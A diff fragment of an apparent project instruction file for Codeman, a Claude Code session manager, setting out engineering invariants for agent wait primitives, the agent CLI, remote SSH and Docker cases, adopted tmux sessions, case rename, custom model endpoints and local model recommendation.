- **User-chosen paths are probed BOUNDED, never with `existsSync`/`statSync`** (#516): a linked case or a `workingDir` can sit on a network mount that stopped answering. A synchronous check there freezes the whole server, and an unbounded async `stat`/`lstat`/`readFile` holds one of libuv's threadpool workers (4 by default, shared with every `fs`, `dns.lookup` and `crypto` call) until the mount returns. On a request or spawn path use `probePath()`/`probePathKind()` (`utils/bounded-path-probe.ts`, read its `@fileoverview`). ⚠️ `unknown` is NEVER `absent`: nothing is created, scaffolded or 404'd on it. Bulk scans keep the stall cap; a request for ONE path the user named may pass `{ pastCap: true }`, which still stops at the ceiling that keeps one worker free; and a helper that would otherwise touch the path skips whatever is still `unknown`. User-facing errors for it go through `describeUnknownPath()`, so a refused probe is not reported as a broken folder.
- **Headless screenshots: `deviceScaleFactor` MUST be 1, and write unique filenames** — under DSF=2 xterm's WebGL renderer draws glyphs at ~2× nominal size while still *reporting* nominal cell dims, so only the pixels reveal it and only the terminal font looks wrong. And overwriting a fixed output path leaves OS image viewers showing the old render, which reads as "the fix didn't work"; `scripts/capture-real-overview.mjs` mints a timestamped filename per run. Seed the per-device `localStorage` keys (`codeman:skin`, `codeman-font-size`, `codeman-app-settings`) so the capture matches a real device. → [architecture-invariants#headless-screenshot-capture](docs/architecture-invariants.md#headless-screenshot-capture)
@@ -127,7 +128,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Input**: `session.writeViaMux()` for programmatic/curl input via one tmux bracketed paste (`paste-buffer -p`) + `send-keys Enter`; a multi-line prompt keeps its line breaks inside that paste. A single character is typed with `send-keys -l` instead, because selection dialogs ignore a pasted digit. Interactive **browser** input goes through a durable **exactly-once** layer: a stable `clientId` + monotonic per-session `seq` persisted to localStorage until the server ACKs, so a dropped link cannot lose or double-deliver a prompt. `ws-connection-registry.ts` supersedes only same-TAB reconnects, so two tabs on one session coexist. → [architecture-invariants#input-delivery-and-ws-resilience](docs/architecture-invariants.md#input-delivery-and-ws-resilience)
**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY, and never for an adopted session (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
**Agent CLI (`codeman agent …`, `src/cli-agent.ts`)**: the command-line client for the wait primitives and the session verbs, for agents the skill does not reach (pi, shell, no `jq`; `seedAgentSessionPreamble` covers every local session whose CLI takes the skill, `capabilities.agentSkillDir`; every pane still exports `CODEMAN_MUX`/`CODEMAN_SESSION_ID`/`CODEMAN_API_URL`). It is an HTTP CLIENT: inspection and guarded stage/submit use the ownership-checked `agent-session-routes.ts` module (experimental, behind `agentCoordinationEnabled`, SYNCED, default OFF: all three routes answer `403 FORBIDDEN` naming it while off, and the CLI shows that verbatim); the other verbs reuse existing routes, with no second transport (the plan's "Socket API" non-goal stands), every call carries `X-Codeman-Parent-Session`, only `spawn`'s quick-start carries `X-Codeman-Agent-Origin` (pinned in test/cli-agent.test.ts), while `spawn` without a case (cwd or `--working-dir`) is `POST /api/v1/sessions` plus `/interactive` or `/shell` without that header, so no agent-case marker, and refuses (exit 4, before any request) an empty `--working-dir` and a bare spawn from a HOME cwd, since it always sends an explicit `workingDir` and the server's no-`workingDir` hooks skip cannot apply (test/cli-agent-project-spawn.test.ts), auth (`src/codeman-credentials.ts`, shared with `codeman attach` and the TUI) from `CODEMAN_PASSWORD` or the data dir's `.env` (the same reader `codeman attach` uses — `readCodemanEnvFile`). Verbs return exit codes (`0` ok / `1` error / `2` timeout / `3` exited / `4` refused) instead of calling `process.exit`, so `test/cli-agent.test.ts` drives every verb against a recording fake transport plus the real `httpRequest` against a local server. ⚠️ Three guards live in code, not prose, and the tests pin them: refuse without `CODEMAN_MUX=1`+`CODEMAN_API_URL` (never guess a URL); `send` transmits printable text + `\r` only (`inputRefusal`: any byte < 0x20 or DEL refuses BEFORE the transport — opencode's `Ctrl+C` is `app_exit`), ESC exists solely as `interrupt` with no `\r`; `rm` fails closed (`deleteRefusal`: empty id, self shorter than 8, prefix match in EITHER direction, re-checked on the resolved id). ⚠️ The routes accept FULL ids only — an 8-char prefix is a 404 (measured live) — while `ls` prints prefixes, so `resolveSessionId` maps a short id through `GET /api/v1/sessions` and refuses an ambiguous one. It also refuses any id under 8 characters (exit 4, on every verb, before any request), the same floor as the server's `PARENT_SESSION_ID_MIN_PREFIX`, so `rm 9` can never pick an arbitrary session. ⚠️ A 400 for `--until stop` on a hook-less mode is passed through verbatim, never papered over: the marker path is the answer there. `spawn` on a readiness timeout exits 2 and LEAVES the session for inspection (the skill's `spawn_worker` deletes it; the CLI's caller is often a human); its stdout is the id ALONE (prose on stderr) so `SID=$(…)` works. ⚠️ Two server answers that look like success and are not: `delivered:false` without `duplicate` (the bytes went into a dead pane — the field exists so a client says "restart" instead of "wait longer") and `wait.ended:true, signal:null` (the worker died during a `stop`/`idle` wait: the registry satisfies only waiters that listed `exit`, then cancels the rest) — both exit 3, checked BEFORE the happy paths in `waitExitCode`. → README "`codeman agent`", `docs/api-reference.md`
@@ -169,12 +170,14 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Cron (`CronJob`s)**: saved, named jobs on a recurring schedule (`once`/`interval`/`daily`/`weekly`) with per-job run history. ⚠️ **Distinct from the legacy `ScheduledRun`** (`/api/scheduled`, a run-now duration-bounded loop); the two never interact and keep separate `Scheduled*` / `Cron*` names. `CronService` **reuses the existing session layer** rather than rebuilding tmux logic. Next-run math is pure and unit-tested in `cron-time.ts` (server-local timezone). The schedule is advanced BEFORE launch so a slow launch cannot re-trigger. → [architecture-invariants#cron-jobs](docs/architecture-invariants.md#cron-jobs), `docs/cron-discovery.md`
**Remote sessions + remote SSH cases**: a case can point at a remote host. The agent runs in a durable remote `tmux -L codeman-remote`, fronted by a LOCAL tmux pane running `ssh`. Attached (`owned:false`) sessions **detach, never kill**; owned ones propagate `kill-session`. Auto-reconnect (`remoteAutoReconnect`, default ON) revives ONLY when `remoteTmuxSessionAlive()` proves the remote session alive. ⚠️ Classify that probe by EXIT STATUS (`classifyRemoteAliveExit`), never stdout. ⚠️ **Command-injection surface: every ssh command line must flow through `buildSshConnectionArgs()`**; never hand-build one. ⚠️ Remote file reads (`src/remote-files.ts`, attachment routes too) take browser paths only as `shellescape`d tokens, resolve symlinks fail-closed, cap on the REMOTE size, never copy to local disk, are bounded by `src/remote-ssh-limiter.ts`, and pick the host from the SESSION, never the path; no writes over ssh (the `PUT` guard must precede local path validation). ⚠️ Route remote cases through `POST /api/quick-start`, not `POST /api/sessions`. → [architecture-invariants#remote-sessions-over-ssh](docs/architecture-invariants.md#remote-sessions-over-ssh), [#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases), `docs/remote-sessions.md`
**Remote sessions + remote SSH cases**: a case can point at a remote host. The agent runs in a durable remote `tmux -L codeman-remote`, fronted by a LOCAL tmux pane running `ssh`. Attached (`owned:false`) sessions **detach, never kill**; owned ones propagate `kill-session`. Auto-reconnect (`remoteAutoReconnect`, default ON) revives ONLY when `remoteTmuxSessionAlive()` proves the remote session alive. ⚠️ Classify that probe by EXIT STATUS (`classifyRemoteAliveExit`), never stdout. ⚠️ **Command-injection surface: every ssh command line must flow through `buildSshConnectionArgs()`**; never hand-build one. ⚠️ Remote file reads (`src/remote-files.ts`, attachment routes too) take browser paths only as `shellescape`d tokens, resolve symlinks fail-closed, cap on the REMOTE size, never copy to local disk (the one exception: the Edit history store keeps the diffs read from a remote session's transcripts), are bounded by `src/remote-ssh-limiter.ts`, and pick the host from the SESSION, never the path; no writes over ssh (the `PUT` guard must precede local path validation). ⚠️ Route remote cases through `POST /api/quick-start`, not `POST /api/sessions`. → [architecture-invariants#remote-sessions-over-ssh](docs/architecture-invariants.md#remote-sessions-over-ssh), [#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases), `docs/remote-sessions.md`
**Wake-on-LAN (`remote-wake.ts`)**: optional `RemoteHost.wakeMac` (magic packet) or `RemoteHost.wakeCommand` (single executable, no shell, takes precedence) lets HTTP input, `POST /api/sessions/:id/wake` and the user's create/attach (`ensureHostAwake`) wake a sleeping host. ⚠️ Only an explicit user request may wake: never give the registry to the auto-reconnect watcher, `handleRemoteSessionDropped`, boot recovery or `cron-service.ts`, and `GET /api/sessions/:id/reachability` must never wake. ⚠️ Detection is a throttled bare TCP probe; never add `ServerAliveInterval`, and a `jumpHost`/`socksProxy`/`ProxyCommand` host is reachability-UNKNOWN (`isProbeable()`): never buffer, gate or banner on it. ⚠️ In multi-user mode a non-admin attach 403s BEFORE host lookup. ⚠️ WS keystrokes bypass the registry, so the banner (`host-wake-ui.js`) must not promise queued input. Waiting requests use the 40 s `REMOTE_WAKE_REQUEST_READY_TIMEOUT_MS`. → [architecture-invariants#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases)
**Docker cases**: a case can point at a **container** running any CLI mode inside it, a **LOCATION OVERLAY on cases, never a `SessionMode`**. One long-lived container **per case**, shared by its sessions: killing a session kills only its in-container tmux, **never** `docker stop` while siblings remain. The workspace is bind-mounted at the **same absolute path**. Credentials are **seeded**, never shared RW. **NEVER a create-time `-e` for secrets, NEVER `--privileged`, NEVER the docker socket.** A drifted config (label hash) REFUSES the launch. ⚠️ An **adopted** container (`DockerCase.owned === false`) is only `exec`ed into: never create, start, stop, restart, remove, `docker commit` or `docker pause` it; fail closed. Test `owned === false`, never truthiness. ⚠️ Apply `owned` AFTER `dockerConfigHash`. ⚠️ Run modes come from the CONTAINER (`availableModes`), and a failed probe is normal for an OWNED case. ⚠️ Root exec user drops the bypass flag via the registry's `overlays.docker.rootCommand`, never a branch. ⚠️ Adoption is admin-only in multi-user mode. ⚠️ Loopback prod needs `CODEMAN_DOCKER_BRIDGE_HOOKS=1` for in-container hooks. → [architecture-invariants#docker-cases](docs/architecture-invariants.md#docker-cases), `docs/docker-cases.md`
**Adopted tmux sessions** (`src/foreign-tmux.ts` pure, `foreign-tmux-discovery.ts`, `foreign-sessions.js`, `POST /api/sessions/adopt`, admin-only in multi-user mode): a tmux session a human started (local, in a container, over ssh) opens as a tab through a wrapper session on OUR socket, a LOCATION OVERLAY like remote and Docker, never a `SessionMode`. ⚠️ `session.remote` and `session.docker` are undefined on one (the connection is on `adopt.*`) and its `workingDir` is the neutral `/tmp`, so anything that treats `workingDir` as the session's workspace, or branches on remote or docker to mean "not here", must also test `session.isAdopted`. The file surfaces are the one standing exception (owner decision 2026-11-06, no privilege gain): the Files panel, File Viewer, `html-view` and absolute-path links still use this host's `/tmp` and paths, even on a container or ssh tab. Gating them for remote and Docker adoptions is the planned follow-up, so do not copy the exception to a new surface. ⚠️ `isAdopted` asks who launched the process, so it is never folded into `isExternalCliMode()`. ⚠️ `foreignTargetKey()` is the ONE identity of a target; a socket and a name collide across containers and hosts. ⚠️ Never set anything on the foreign server beyond our own `codeman-view-*`: no `window-size`, no key tables. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start (`startShell()`'s `clear\n` submitted a half-typed command, and `shell` is also the answer for vim or psql). ⚠️ Session names are someone else's text: they pass the allowlist at discovery, so a browser only ever sends an opaque id, and a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`) is refused there too, or the `has-session` guard passes and the join lands elsewhere. ⚠️ A stopped tmux server holds our stdout pipe open past its client, so the probe pings each server with stdout at `/dev/null` first and `runForeignProbe()` lets go of the pipe at the deadline; never give `list-panes` the real stdout unpinged. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, like a remote or docker launch, never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on this host. → [architecture-invariants#adopted-foreign-tmux-sessions](docs/architecture-invariants.md#adopted-foreign-tmux-sessions), `docs/api-reference.md`
**Docker Compose deployment** (`docker/`): Codeman runs in a container and spawns Docker cases as **SIBLING** containers via the host socket, never nested. `resolveDockerDaemonMountSource()` maps HOME bind sources into the daemon's namespace (`CODEMAN_DOCKER_HOST_HOME`); `CODEMAN_CASES_PATH` makes workspaces resolve to the same absolute path on both sides. ⚠️ `CODEMAN_CASES_PATH` must move every consumer: resolve it only via `config/cases-dir.ts`. ⚠️ `.dockerignore` matches whole paths: keep `**/.env` or `docker/.env` secrets ship in the image. ⚠️ Long-form binds create missing sources ROOT-OWNED: `Start-Codeman.sh` pre-creates them, and `docker/entrypoint.sh` (root, `cap_add: [CHOWN, DAC_OVERRIDE, KILL, SETGID, SETUID]` against `cap_drop: ALL`, `KILL` for tini; pinned by the test) fixes ownership then drops to `PUID:PGID` via `setpriv`, never re-owning foreign dirs. ⚠️ Append `/opt/codeman-cli` and `~/.local/bin` to `PATH`, never prepend. ⚠️ `server.Dockerfile`, the compose file and `.env.example` feed the self-updater's environment gate (`docs/docker-self-update.md`). → [architecture-invariants#docker-compose-deployment](docs/architecture-invariants.md#docker-compose-deployment), `docs/docker-compose.md`
**CLI registry** (`src/config/cli-registry/`): every run mode is a `CliEntry` (discovery, launch argv template, env handling, `capabilities`, and the `overlays` behind remote/docker pane commands). **No code outside `stock.ts` may branch on a CLI id**: use a capability field or a NAMED PROFILE (`profiles.ts`); `test/cli-registry-no-id-branching.test.ts` and `test/frontend-cli-no-id-branching.test.ts` enforce it. ⚠️ Config holds typed argv tokens, never shell text; literals are validated at LOAD time and a bad one rejects the whole entry. ⚠️ Keep `external`, `hooks` and `altScreen` independent; never derive one from another. ⚠️ Config regexes (`discovery.version.regex`, `capabilities.workDetect.workingLine`, `capabilities.workDetect.watchingLine`, `capabilities.workDetect.awaitingLine`, `capabilities.workDetect.blockedLine`, `capabilities.workDetect.composerFooterLine`, `capabilities.workDetect.composerPopupLine`, `capabilities.modelDetect.screenLine`) must compile through `compileVersionRegex()`. ⚠️ `privilegedParams[].param` names a LAUNCH PARAM, not the legacy `<Mode>Config` field (bridged only by `launch.legacyConfigAliases`); a wrong name silently clamps nothing. ⚠️ Resolve the registry AT CALL TIME, never in a module-level const. ⚠️ Remote claude/omp arms of `buildRemoteLaunchCommand` are not covered by the pane-command golden. `~/.codeman/clis.json` overrides entries. It is WRITTEN only by the opt-in CLI management routes (`cliManagementEnabled`, default OFF; `/api/clis`, `cli-registry-routes.ts`), and only through `mutateRegistryFile()` in `registry-writer.ts` (the one exception: a config-backup restore of `clis.json`, which then calls `reloadCliRegistry()`), which serializes mutations and refuses (409) a file that does not parse or has group/world permission bits rather than overwriting it. Importing the registry still writes nothing. → [architecture-invariants#cli-registry](docs/architecture-invariants.md#cli-registry), `docs/cli-registry.md`
@@ -183,12 +186,14 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**DeepSeek web UI** (`POST`/`GET`/`DELETE /api/deepseek/web`, `deepseek-web-server.ts`): the Run menu's "DeepSeek web UI..." entry supervises ONE background `dsh web` child process, deliberately **NOT a shell session**. ⚠️ Every piece is load-bearing: exactly one server (a second click REUSES it), restarted when the browser authority changes (`--trusted-host`, last asker wins), killed on shutdown via `stopDeepSeekWeb()` (the detached child would otherwise outlive Codeman and hold its port), and failures returned to the caller. ⚠️ Never hardcode the port: search from 3080 across 40, detect free ports by BINDING, then wait for the server to really answer. ⚠️ Both `POST` and `DELETE` must stay behind `canUsernameRunPrivilegedCommands` (booting a profile runs its plugin code; the server is shared). → [architecture-invariants#deepseek-web-ui](docs/architecture-invariants.md#deepseek-web-ui)
**Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, and both are restored if the registry write fails.
**Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, so a failed or refused registry write puts `settings.json` back and leaves the registry as it was. ⚠️ Every write to `linked-cases.json` (link, unlink, rename, and a create or clone into a custom folder) goes through `mutateLinkedCases()` (`src/web/linked-cases-writer.ts`: serialized, temp file + rename, and a file that does not parse is refused, never read as `{}`; the one direct writer is config-backup restore, `restoreConfigBackup()`, which must work on such a file), and a check that must still hold when the entry is written (the name is free; for a rename, the old entry still names the folder) runs INSIDE its callback: two clones that claimed one name used to both pass a re-read made outside it and both answer success. Pinned by `test/linked-cases-writer.test.ts`, and for a rename by `test/routes/case-rename-routes.test.ts`.
**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key). ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
⚠️ **llama-swap endpoints** (one model at a time): the apply routes check `GET /running` and return `requiresConfirmation` before evicting a model another live session uses; `confirmedSwap` and `confirmedContext` are SEPARATE flags and must stay so. Claude alone gets a context floor (`CLAUDE_MIN_SAFE_CONTEXT_TOKENS`); context is parsed from `/running`'s `cmd`, never trusted from `/props`. The floor also divides that context by the model's parallel slot count (`modelSlotCounts`: `--parallel`/`-np` from `cmd`, else `/props` `total_slots`; `perSlotContext()`), and `/props` only ever RAISES that warning: it supplies the context only when `cmd` states none and the count only when `cmd` has no `--parallel`, never a larger pool. `/props` is probed once per launch command (it refreshes llama-swap's last-use time, so a `ttl` would never expire), and a `/props` context beside an explicit `--parallel N` is already per slot, so it is not divided again. Backend log lines come from llama-swap's `/api/events` `upstream` source, never `/logs`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
**Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL, read-only stage): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ **Read-only**: it downloads nothing, installs nothing, writes no file and adds no settings key; the install flow is a later stage and nothing here may grow a write before it. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested` and is sent only when the pick's model has a `tested` entry for exactly this chip, memory size and harness; no row has one today. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Card rules: `src/web/CLAUDE.md` (Model on this Mac). → `docs/api-reference.md` (Local model recommendation), `docs/versioning-policy.md`
